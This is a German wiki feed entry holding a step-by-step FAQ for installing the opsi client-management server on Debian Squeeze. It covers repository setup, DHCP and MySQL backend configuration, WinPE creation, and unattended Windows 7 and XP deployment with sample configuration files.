* [[DEBIAN OPENSSL UND CERTS FAQ]]&lt;br /&gt;
* [[DEBIAN OPENVPN FAQ]]&lt;br /&gt;
* [[POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL Z.B. AUF EINEM ROOT/V-SERVER]]&lt;br /&gt;
* [[POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL AUF EINEM HOMESERVER]]&lt;br /&gt;
* [[ICINGA (NAGIOS FORK) INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[FIREFOX SYNC SERVER DEBIAN FAQ]]&lt;br /&gt;
* [[OPSI INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[FAI INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[WSUSOFFLINE INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[RASPBIAN CHROOT FAQ]]&lt;br /&gt;
* [[GRUB SPLASHIMAGE UND BOOTSPLASH FAQ ]]&lt;br /&gt;
* [[NVIDIA 430GT HDMI AUDIO FAQ]]&lt;br /&gt;
* [[NVIDIA Point of View G210 HDMI AUDIO FAQ]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=OPSI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=96</id>
		<title>OPSI INSTALL FAQ AUF DEBIAN SQUEEZE</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=OPSI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=96"/>
		<updated>2013-04-29T19:55:18Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;OPSI INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 17.10.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Hier unsere Server/Client Beispiele dieser Anleitung:&lt;br /&gt;
 OPSI Server, Debian Squeeze 6.0x, IP 192.168.0.1, Hostname opsi.oppserver.net opsi&lt;br /&gt;
 Client Test (VirtualBox), MAC Adresse 08:00:27:48:d9:74, IP 192.168.0.200, Hostname opsi-test, Beschreibung opsi virtualbox test&lt;br /&gt;
 Client 1, MAC Adresse 00:50:fc:6b:9a:e3, IP 192.168.0.2, Hostname rechner001, Beschreibung Windows XP Pro x86 001&lt;br /&gt;
 Client 2, MAC Adresse 00:17:31:65:6c:2d, IP 192.168.0.3, Hostname rechner002, Beschreibung Windows 7 Pro x86 001&lt;br /&gt;
 Client 3, MAC Adresse 00:18:f3:b0:04:9f, IP 192.168.0.4, Hostname rechner003, Beschreibung Windows 7 Pro x64 001&lt;br /&gt;
 Router, IP 192.168.0.253, Hostname router&lt;br /&gt;
 (Bei den Clients keine Hostnames laenger als 15 Zeichen nutzen, da dies zu einem Fehler bei der Installation fuehrt)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes als User root einloggen:&lt;br /&gt;
 sudo -s oder nur su&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pakete die nach der Grundinstallation mit Desktopumgebung (de)installiert werden sollten/muessen:&lt;br /&gt;
 aptitude purge network-manager network-manager-gnome&lt;br /&gt;
 aptitude install sudo gcc g++ make zip bzip2 unzip psmisc libc6 libc6-dev unrar linux-headers-`uname -r` subversion subversion-tools cvs mercurial ssh openssl wget lsof host python-mechanize p7zip-full cabextract openbsd-inetd samba samba-common smbclient smbfs samba-doc mysql-server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pruefen Sie den Eintrag fuer den opsi-server in der Datei /etc/hosts oder aber die Ausgabe von&lt;br /&gt;
 getent hosts $(hostname -f)&lt;br /&gt;
Das Ergebnis sollte beispielsweise so aussehen:&lt;br /&gt;
 192.168.0.1 opsi.oppserver.net opsi&lt;br /&gt;
Sieht das Ergebnis nicht so aus (enthaelt z.B. 127.0.0.1 oder localhost) dann muessen Sie Ihre /etc/hosts oder Namensaufloesung zunaechst korrigieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 echo &amp;quot;deb http://download.opensuse.org/repositories/home:/uibmz:/opsi:/opsi40/Debian_6.0 ./&amp;quot; &amp;gt; /etc/apt/sources.list.d/opsi.sources.list&lt;br /&gt;
&lt;br /&gt;
 wget http://download.opensuse.org/repositories/home:/uibmz:/opsi:/opsi40/Debian_6.0/Release.key -O - | apt-key add -&lt;br /&gt;
&lt;br /&gt;
 aptitude update&lt;br /&gt;
 aptitude safe-upgrade&lt;br /&gt;
 aptitude remove tftpd&lt;br /&gt;
 update-inetd --remove tftpd&lt;br /&gt;
 aptitude install opsi-atftpd opsi-depotserver opsi-configed&lt;br /&gt;
&lt;br /&gt;
Da die OPSI Services nicht automatisch mitstarten, obwohl sie in den jeweiligen runleveln sind, habe ich folgendes in der /etc/rc.local vor dem exit 0 hinzugefuegt:&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der Installation des Tftpd werden Sie evtl. nach dem Tftp-Basisverzeichnis gefragt. Beantworten Sie diese Frage mit /tftpboot. Die Fragen nach Multicast Support koennen Sie mit Ja beantworten.&lt;br /&gt;
Bei der Installation des Paketes opsiconfd werden Sie nach Angaben zur Erstellung eines SSL-Zertifikates gefragt.&lt;br /&gt;
&lt;br /&gt;
Bei der Installation des opsi-servers werden Sie gefragt, ob die dhcpd.conf und die smb.conf gepatcht werden darf.&lt;br /&gt;
Beantworten Sie die Fragen mit Ja.&lt;br /&gt;
&lt;br /&gt;
Nun legen wir ein neues Passwort fuer den User pcpatch fest:&lt;br /&gt;
 passwd pcpatch&lt;br /&gt;
 smbpasswd -a pcpatch&lt;br /&gt;
 opsi-admin -d task setPcpatchPassword&lt;br /&gt;
&lt;br /&gt;
Falls noch kein USER angelegt wurde, wird er jetzt erstellt, sonst weiter bei Gruppenmitgliedschaft eingerichten:&lt;br /&gt;
 useradd -m -s /bin/bash USER&lt;br /&gt;
Wir vergeben nun Passwoerter fuer Unix:&lt;br /&gt;
 passwd USER&lt;br /&gt;
&lt;br /&gt;
Gruppenmitgliedschaft eingerichten:&lt;br /&gt;
 adduser root opsiadmin&lt;br /&gt;
 adduser USER opsiadmin&lt;br /&gt;
&lt;br /&gt;
Wir vergeben nun Passwoerter fuer Samba:&lt;br /&gt;
 smbpasswd -a USER&lt;br /&gt;
&lt;br /&gt;
Alle User, die Produkte packen (opsi-makeproductfile), installieren (opsi-package-manager) oder Konfigurationsdateien manuell bearbeiten wollen, muessen zusaetzlich in der Gruppe pcpatch sein:&lt;br /&gt;
 adduser USER pcpatch&lt;br /&gt;
root darf dies alles ohnehin und muss daher nicht explizit in die Gruppe aufgenommen werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Holen Sie sich die aktuellen notwendigen opsi-Pakete im opsi-Paketformat.&lt;br /&gt;
Die Pakete finden Sie unter http://download.uib.de/opsi4.0/products/&lt;br /&gt;
Nach dem Download muessen Sie die Pakete auf dem Server mit dem Befehl opsi-package-manager -i &amp;lt;paketname&amp;gt;.opsi installiert werden.&lt;br /&gt;
Sie koennen das interaktiv fuer jedes einzelne Paket tun. Wir empfehlen Ihnen dies automatisiert zu tun. Hierzu gibt es das Werkzeug opsi-product-updater, welches wie in /etc/opsi/opsi-product-updater.conf konfiguriert, automatisch die aktuellen Pakete vom opsi Repository holt und auf dem Server installiert.&lt;br /&gt;
&lt;br /&gt;
Z.B.:&lt;br /&gt;
 [wol]&lt;br /&gt;
 active = true&lt;br /&gt;
 [repository_uib]&lt;br /&gt;
 dirs = opsi4.0/products/localboot, opsi4.0/products/netboot, opsi4.0/testing&lt;br /&gt;
 autoInstall = true&lt;br /&gt;
 autoSetup = true&lt;br /&gt;
&lt;br /&gt;
Danach einfach folgenden Befehl ausfuehren und die Pakete werden installiert:&lt;br /&gt;
 opsi-product-updater -i -vv&lt;br /&gt;
&lt;br /&gt;
Sollte der opsi-product-updater Befehl scheitern, so muss evtl. ein Proxy in der Konfigurationsdatei eingetragen&lt;br /&gt;
werden unter&lt;br /&gt;
 [repository_uib]&lt;br /&gt;
 proxy =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn Sie das opsi Managementinterface opsi-configed direkt auf dem Server ausfuehren moechten, so benoetigen Sie eine Java Laufzeitumgebung. Die Laufzeitumgebung von Sun/Oracle ist die am besten getestete. Allerdings ist diese unter Linux nur noch eingeschraenkt zu beziehen. Als Alternative bietet sich das OpenJDK an. Meinen Erfahrungen nach funktioniert hier zumindest der Start ueber Webstart und als Applikation.&lt;br /&gt;
&lt;br /&gt;
 aptitude install sun-java6-jdk sun-java6-plugin python-simplejson&lt;br /&gt;
&lt;br /&gt;
Kontrollieren Sie, ob Java in der benoetigten Version installiert ist, indem Sie in einem Terminal&lt;br /&gt;
 java -version&lt;br /&gt;
aufrufen.&lt;br /&gt;
Sollte hier nicht mindestens Java Version 1.6.0 angezeigt werden, so muessen Sie dies in einem Terminalfenster mit&lt;br /&gt;
 update-alternatives anpassen:&lt;br /&gt;
 update-alternatives --config java&lt;br /&gt;
&lt;br /&gt;
   Auswahl      Pfad                                      Prioritaet Status&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
   0            /usr/lib/jvm/java-6-openjdk/jre/bin/java   1061      Auto-Modus&lt;br /&gt;
   1            /usr/bin/gij-4.4                           1044      manueller Modus&lt;br /&gt;
   2            /usr/lib/jvm/java-6-openjdk/jre/bin/java   1061      manueller Modus&lt;br /&gt;
 * 3            /usr/lib/jvm/java-6-sun/jre/bin/java       63        manueller Modus&lt;br /&gt;
&lt;br /&gt;
 Druecken Sie die Eingabetaste, um die aktuelle Wahl[*] beizubehalten,&lt;br /&gt;
 oder geben Sie die Auswahlnummer ein: 3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um (wie empfohlen) das mysql-Backend verwenden zu koennen (z.B. fuer die Inventarisierung), so muss dieses nun mit dem Befehl&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --configure-mysql&lt;br /&gt;
&lt;br /&gt;
initialisiert werden.&lt;br /&gt;
In der Datei /etc/opsi/backendManager/dispatch.conf muss das Backend noch hinzugefuegt werden:&lt;br /&gt;
 backend_.*         : file, opsipxeconfd&lt;br /&gt;
 host_.*            : file, opsipxeconfd&lt;br /&gt;
 productOnClient_.* : file, opsipxeconfd&lt;br /&gt;
 configState_.*     : file, opsipxeconfd&lt;br /&gt;
 .*                 : file&lt;br /&gt;
&lt;br /&gt;
aendern in&lt;br /&gt;
&lt;br /&gt;
 backend_.*         : file, mysql, opsipxeconfd&lt;br /&gt;
 host_.*            : file, opsipxeconfd&lt;br /&gt;
 productOnClient_.* : file, opsipxeconfd&lt;br /&gt;
 configState_.*     : file, opsipxeconfd&lt;br /&gt;
 license.*          : mysql&lt;br /&gt;
 softwareLicense.*  : mysql&lt;br /&gt;
 audit.*            : mysql&lt;br /&gt;
 .*                 : file&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --init-current-config&lt;br /&gt;
 opsi-setup --set-rights&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
Ignorieren Sie Warnungen wegen einer nicht gefundenen /etc/opsi/modules.&lt;br /&gt;
Wer welche Methoden verwenden darf, ist in der Datei /etc/opsi/backendManager/acl.conf festgelegt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Einspielen / ueberpruefen der Freischaltdatei&lt;br /&gt;
Auch wenn opsi Opensource ist, so gibt es einige Zusatz-Komponenten, die im Rahmen eines Kofinanzierungsprojektes erstellt wurden und evtl. noch nicht Opensource bzw. noch nicht kostenlos sind. Sobald die Entwicklungskosten eingenommen sind, werden auch diese Module Opensource bzw. kostenlos sein. Um bis dahin die Verwendung dieser Module den zahlenden Kunden und zu Evaluierungszwecken zu gestatten, gibt es die Freischaltdatei /etc/opsi/modules, welche durch eine elektronische Signatur vor unautorisierter Veraenderung geschuetzt ist. Ist diese Datei nicht vorhanden, so funktionieren nur die freien Module von opsi.&lt;br /&gt;
Um zu Evaluierungszwecken eine zeitlich befristet gueltige Freischaltdatei zu erhalten, wenden Sie sich an info@uib.de.&lt;br /&gt;
Im Rahmen einer Beteiligung an den entsprechenden Kofinanzierungsprojekten erhalten Sie eine unbefristet gueltige Freischaltdatei. Diese koennen Sie mit root-Rechten nach /etc/opsi kopieren.&lt;br /&gt;
Fuehren Sie danach den folgenden Befehl aus:&lt;br /&gt;
 opsi-setup --set-rights /etc/opsi&lt;br /&gt;
Kontrollieren Sie die Freischaltung mit einer der folgenden Methoden:&lt;br /&gt;
Im opsi-configed koennen Sie sich ueber den Menuepunkt Hilfe/opsi-Module den Status Ihrer Freischaltung anzeigen lassen.&lt;br /&gt;
Mit der Methode backend_info koennen Sie mit opsi-admin ueberpruefen, welche Module freigeschaltet sind. (Hinweis: Geben Sie die weder die Datei noch die Ausgabe dieses Befehls oeffentlich weiter, zumindest nicht ohne die Signatur zu loeschen).&lt;br /&gt;
 opsi-admin -d method backend_info&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Und nun wird DHCPd eingerichtet, als erstes sichern wir uns die default Konfigurations Datei:&lt;br /&gt;
 mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig&lt;br /&gt;
Folgendes in /etc/dhcp/dhcpd.conf ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 ddns-update-style none;&lt;br /&gt;
 &lt;br /&gt;
 option domain-name &amp;quot;oppserver.net&amp;quot;;&lt;br /&gt;
 option domain-name-servers 192.168.0.253, 8.8.8.8;&lt;br /&gt;
 &lt;br /&gt;
 default-lease-time 600;&lt;br /&gt;
 max-lease-time 7200;&lt;br /&gt;
 &lt;br /&gt;
 log-facility local7;&lt;br /&gt;
 &lt;br /&gt;
 use-host-decl-names on;&lt;br /&gt;
 subnet 192.168.0.0 netmask 255.255.255.0 {&lt;br /&gt;
         option routers 192.168.0.253;&lt;br /&gt;
         option broadcast-address 192.168.0.255;&lt;br /&gt;
         group {&lt;br /&gt;
                 next-server 192.168.0.1;&lt;br /&gt;
                 filename &amp;quot;linux/pxelinux.0&amp;quot;;&lt;br /&gt;
         }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Jetzt die richtigen Rechte setzen, da OPSI sonst nicht in diese Datei schreiben darf:&lt;br /&gt;
 chown opsiconfd:opsiadmin /etc/dhcp/dhcpd.conf&lt;br /&gt;
 chmod 664 /etc/dhcp/dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
Danach einmal den DHCPd restarten:&lt;br /&gt;
 /etc/init.d/isc-dhcp-server restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun muessen wir den DHCPd in die /etc/opsi/backendManager/dispatch.conf einfuegen/ersetzen:&lt;br /&gt;
 backend_.*         : file, mysql, opsipxeconfd, dhcpd&lt;br /&gt;
 host_.*            : file, opsipxeconfd, dhcpd&lt;br /&gt;
&lt;br /&gt;
Nach Anpassung der Backendkonfiguration muss die Konfiguration initialisiert und der opsiconfd neu gestartet werden:&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --init-current-config&lt;br /&gt;
 opsi-setup --set-rights&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start der Management-Oberflaeche (opsi-configed)&lt;br /&gt;
Opsi bietet mit dem opsi-configed ein komfortables Management Interface.&lt;br /&gt;
Sie koennen es auf mehrere Weisen starten:&lt;br /&gt;
Wenn Sie in einem Browser (irgendwo im Netz) die Adresse https://192.168.0.1:4447/configed eingeben, erscheint eine Webseite mit als Applet eingebettetem opsi-configed. Damit es funktioniert, muessen Sie auf dem aufrufenden Rechner eine (Sun) Java-Version &amp;gt;= 1.6 installiert haben.&lt;br /&gt;
Alternativ koennen Sie auf der graphischen Oberflaeche Ihres opsi-servers mit Klick auf die rechte Taste das Kontextmenue oeffnen und „opsi config editor“ auswaehlen.&lt;br /&gt;
Der Konfigurationseditor ist auch Bestandteil der opsi-adminutils, die im Rahmen der opsi-Anwendung lokal auf Clients installiert werden koennen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation eines neuen Windows Rechners ueber opsi (OS-Installation) (Windows 7 x86 als Beispiel)&lt;br /&gt;
Anlegen eines neuen opsi-Clients ueber die Management Oberflaeche:&lt;br /&gt;
Als Client-Rechner eignen sich reale oder virtuelle Rechner mit mindestens 512 MB RAM, die ueber eine Netzwerkkarte mit Netzwerkboot-Unterstuetzung verfuegen: D.h., sie unterstuetzen das PXE-Protokoll zum Laden von Boot-Systemen via Netzwerk. Der Netzwerkboot ist ggf. im Bios-Menue zu aktivieren bzw. an die erste Stelle der Bootoptionen zu ruecken.&lt;br /&gt;
Fuer einen ersten Tests empfehlen wir eine VMware-Appliance, die einen „nicht installierten Rechner“ abbildet und im VMware-Player laufen kann. Diese koennen Sie z.B. bei download.uib.de herunterladen (http://download.uib.de/vmware_pxeclient.zip).&lt;br /&gt;
Diese virtuelle Hardware wird auf eher von den Standardtreibern von Windows unterstuetzt, wenn Sie spaeter eine Testinstallation von Windows durchfuehren. Zur Installation von Windows auf neueren realen Rechnern muessen Sie sehr wahrscheinlich vorab zusaetzliche Treiber integrieren.&lt;br /&gt;
Den Client koennen Sie jetzt mit dem opsi-configed beim opsi-server registrieren. Waehlen Sie den Menue-Punkt OpsiClient / Neuen opsi-Client erstellen und geben Sie ein:&lt;br /&gt;
• IP-Namen,&lt;br /&gt;
• (Internet-) Domain (falls abweichend von der Vorgabe),&lt;br /&gt;
• Beschreibung (fakultativ),&lt;br /&gt;
• IP-Nummer (nur zwingend, sofern der opsi-server DHCP-Server ist),&lt;br /&gt;
• MAC-Adresse der Netzwerkkarte des Clients (zwingend, sofern der opsi-server DHCP-Server ist; andernfalls dringend empfohlen).&lt;br /&gt;
Nach Eingabeabschluss wird der Client dem opsi-server bekanntgemacht und gleichzeitig in der DHCP-Konfiguration als PXE-Client angelegt.&lt;br /&gt;
Ein Client kann auch auf der Kommandozeile per opsi-admin erzeugt werden:&lt;br /&gt;
opsi-admin -d method host_createOpsiClient &amp;lt;client-id&amp;gt; [opsiHostKey] [description] [notes] [hardwareAddress] [ipAddress] [inventoryNumber] [oneTimePassword] [created] [lastSeen]&lt;br /&gt;
z.B.:&lt;br /&gt;
 opsi-admin -d method host_createOpsiClient rechner001 &amp;quot;Windows XP Pro x86 001&amp;quot; &amp;quot;&amp;quot; 00:50:fc:6b:9a:e3 192.168.0.2&lt;br /&gt;
Die Liste der eingerichteten opsi-Clients kann jederzeit im opsi-configed Modus „Client-Konfiguration“ unter dem Reiter Client-Auswahl eingesehen werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hardware-Inventarisierung mit dem netboot-Produkt hwinvent:&lt;br /&gt;
Sofern Sie bereits einen Client eingerichtet haben und das Produkt hwinvent installiert ist, koennen Sie bereits etwas Nuetzliches mit opsi tun:&lt;br /&gt;
Waehlen Sie im opsi-configed, Modus Client-Konfiguration, unter dem Reiter Client-Auswahl den betreffenden Client aus. Wenn noch nicht geschehen, aktualisieren Sie den Datenbestand des opsi-configed mittels Datei/Daten neu laden bzw. Anklicken des entsprechenden Icons. Wechseln Sie zum Reiter Netboot-Produkte, gehen Sie in das Feld &amp;quot;Anstehende Aktion&amp;quot; des Produkts &amp;quot;hwinvent&amp;quot; und waehlen Sie in der dort angebotenen Liste die Aktion &amp;quot;setup&amp;quot;.&lt;br /&gt;
Der Haken in der Icon-Menueleiste sollte seine Farbe auf Rot wechseln. Wenn Sie ihn anklicken, werden die neuen Einstellungen zum opsi-server uebermittelt und die Farbe des Hakens wechselt im Anschluss wieder zu gruen.&lt;br /&gt;
Booten Sie dann den Client. Er sollte jetzt per PXE ueber das Netz ein Linux-Image ziehen, das die Hardware des PCs scannt und dann den Rechner rebootet (wenn der Rechner nicht ansonsten schon eingerichtet war, kommt im Anschluss korrekterweise die Meldung, dass auf der Platte kein Betriebssystem installiert ist).&lt;br /&gt;
Das Ergebnis des Hardware-Scans hat der PC zum opsi-server uebermittelt. Es ist unter dem Reiter &amp;quot;Hardware-Informationen&amp;quot; zu besichtigen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Erstellen eines PE fuer Win7 (x86)&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\PETools\copype.cmd&amp;quot; x86 C:\winpe&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\x86\imagex.exe&amp;quot; /mountrw &amp;quot;C:\winpe\winpe.wim&amp;quot; 1 &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 echo c:\opsi\startnet.cmd &amp;gt; &amp;quot;C:\winpe\mount\Windows\System32\startnet.cmd&amp;quot;&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\x86\imagex.exe&amp;quot; /commit /unmount &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 move &amp;quot;C:\winpe\winpe.wim&amp;quot; &amp;quot;C:\winpe\ISO\sources\boot.wim&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Den Inhalt des Verzeichnis C:\winpe\ISO nach /opt/pcbin/install/win7/winpe kopieren.&lt;br /&gt;
Rechte anpassen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/winpe&lt;br /&gt;
&lt;br /&gt;
Fuer die folgenden Schritte wird ein Arbeitsplatzrechner mit installiertem WAIK (Windows Automated Installation Kit) unter Windows 7 64-Bit benoetigt.&lt;br /&gt;
&lt;br /&gt;
Erstellen eines PE fuer Win7 (x64)&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\PETools\copype.cmd&amp;quot; amd64 C:\winpe&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\amd64\imagex.exe&amp;quot; /mountrw &amp;quot;C:\winpe\winpe.wim&amp;quot; 1 &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 echo c:\opsi\startnet.cmd &amp;gt; &amp;quot;C:\winpe\mount\Windows\System32\startnet.cmd&amp;quot;&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\amd64\imagex.exe&amp;quot; /commit /unmount &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 move &amp;quot;C:\winpe\winpe.wim&amp;quot; &amp;quot;C:\winpe\ISO\sources\boot.wim&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Den Inhalt des Verzeichnis C:\winpe\ISO nach /opt/pcbin/install/win7-x64/winpe kopieren.&lt;br /&gt;
Rechte anpassen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/winpe&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Treiber-Integration&lt;br /&gt;
Die Treiber-Integration verlaeuft analog zu dem Verfahren anderer Windows Versionen: Die Treiber werden unter&lt;br /&gt;
/opt/pcbin/install/win7/drivers/drivers bzw. /opt/pcbin/install/win7-x64/drivers/drivers abgelegt. Danach wird das Script create_driver_links.py aufgerufen.&lt;br /&gt;
&lt;br /&gt;
 cd /opt/pcbin/install/win7&lt;br /&gt;
 python create_driver_links.py&lt;br /&gt;
oder&lt;br /&gt;
 cd /opt/pcbin/install/win7-x64&lt;br /&gt;
 python create_driver_links.py&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bereitstellung der Installationsmedien&lt;br /&gt;
Kopieren der Installations-DVD nach&lt;br /&gt;
/opt/pcbin/install/win7/installfiles bzw. /opt/pcbin/install/win7-x64/installfiles und passen Sie Rechte/Eigentuemer an:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/installfiles&lt;br /&gt;
bzw.&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/installfiles&lt;br /&gt;
&lt;br /&gt;
Anpassungen der Installation, z.B. Proxy oder Administrator Passwort oder Display Aufloesung, kann man unter /opt/pcbin/install/win7/custom/unattend.xml bzw. /opt/pcbin/install/win7-x64/custom/unattend.xml vornehmen, z.B.:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;				&amp;lt;AdministratorPassword&amp;gt;&lt;br /&gt;
					&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
					&amp;lt;Value&amp;gt;P@ssw0rd&amp;lt;/Value&amp;gt;&lt;br /&gt;
				&amp;lt;/AdministratorPassword&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
			&amp;lt;AutoLogon&amp;gt;&lt;br /&gt;
				&amp;lt;Enabled&amp;gt;true&amp;lt;/Enabled&amp;gt;&lt;br /&gt;
				&amp;lt;LogonCount&amp;gt;1&amp;lt;/LogonCount&amp;gt;&lt;br /&gt;
				&amp;lt;Username&amp;gt;Administrator&amp;lt;/Username&amp;gt;&lt;br /&gt;
				&amp;lt;Password&amp;gt;&lt;br /&gt;
					&amp;lt;PlainText&amp;gt;true&amp;lt;/PlainText&amp;gt;&lt;br /&gt;
					&amp;lt;Value&amp;gt;P@ssw0rd&amp;lt;/Value&amp;gt;&lt;br /&gt;
				&amp;lt;/Password&amp;gt;&lt;br /&gt;
			&amp;lt;/AutoLogon&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
			&amp;lt;Display&amp;gt;&lt;br /&gt;
				&amp;lt;ColorDepth&amp;gt;32&amp;lt;/ColorDepth&amp;gt;&lt;br /&gt;
				&amp;lt;DPI&amp;gt;96&amp;lt;/DPI&amp;gt;&lt;br /&gt;
				&amp;lt;HorizontalResolution&amp;gt;1024&amp;lt;/HorizontalResolution&amp;gt;&lt;br /&gt;
				&amp;lt;RefreshRate&amp;gt;75&amp;lt;/RefreshRate&amp;gt;&lt;br /&gt;
				&amp;lt;VerticalResolution&amp;gt;768&amp;lt;/VerticalResolution&amp;gt;&lt;br /&gt;
			&amp;lt;/Display&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7/custom&lt;br /&gt;
bzw.&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/win7-x64/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation eines neuen Windows Rechners ueber opsi (OS-Installation) (Windows XP x86)&lt;br /&gt;
Kopieren Sie den Inhalt des i386 Verzeichnis einer Installations-CD fuer Microsoft WinXP Professional in das Verzeichnis /opt/pcbin/install/winxppro/i386 auf dem opsi-server. Sorgen Sie anschliessend noch dafuer, dass das Verzeichnis i386 die richtigen Rechte fuer den Zugriff durch den Installationsprozess hat:&lt;br /&gt;
opsi-setup --set-rights /opt/pcbin/install/winxppro/i386&lt;br /&gt;
Statt vom opsi-server aus unter Linux koennen Sie die Dateien auch ueber das Windows-Netzwerk kopieren. Dafuer muessen Sie sich mit der Freigabe opt_pcbin auf dem opsi-server als Benutzer pcpatch verbinden. Das entsprechende Verzeichnis befindet sich auf der Freigabe in install\winxppro.&lt;br /&gt;
Anpassungen der Installation, z.B. Proxy oder Administrator Passwort, kann man unter /opt/pcbin/install/winxppro/custom/unattend.txt vornehmen.&lt;br /&gt;
Z.B.:&lt;br /&gt;
 [GuiUnattended]&lt;br /&gt;
 AdminPassword = P@ssw0rd&lt;br /&gt;
&lt;br /&gt;
Danach die Rechte richtig setzen:&lt;br /&gt;
 opsi-setup --set-rights /opt/pcbin/install/winxppro/custom&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ueber die Management-Oberflaeche unter Netboot-Produkte kann man auch den Aktivation Key fuer die einzelnen Windows Versionen pro Client hinterlegen oder man setzt diesen Global fuer ein Betriebssystem:&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 64bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7-x64 &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
Fuer Windows XP Pro 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty winxppro &amp;quot;productkey&amp;quot; &amp;quot;xxxxx-xxxxx-xxxxx-xxxxx-xxxxx&amp;quot; opsi.oppserver.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Des Weiteren kann man mit Hilfe von opsi-admin auch weitere Einstellungen wie z.B. orgname, fullname und auch die Windows 7 Version (imagename) vornehmen:&lt;br /&gt;
&lt;br /&gt;
Fuer Windows 7 32bit:&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;orgname&amp;quot; &amp;quot;Stadt Herne&amp;quot; opsi.oppserver.net&lt;br /&gt;
 opsi-admin -d method setProductProperty win7 &amp;quot;fullname&amp;quot; &amp;quot;StadtHerne&amp;quot; opsi.oppserver.net&lt;br /&gt;
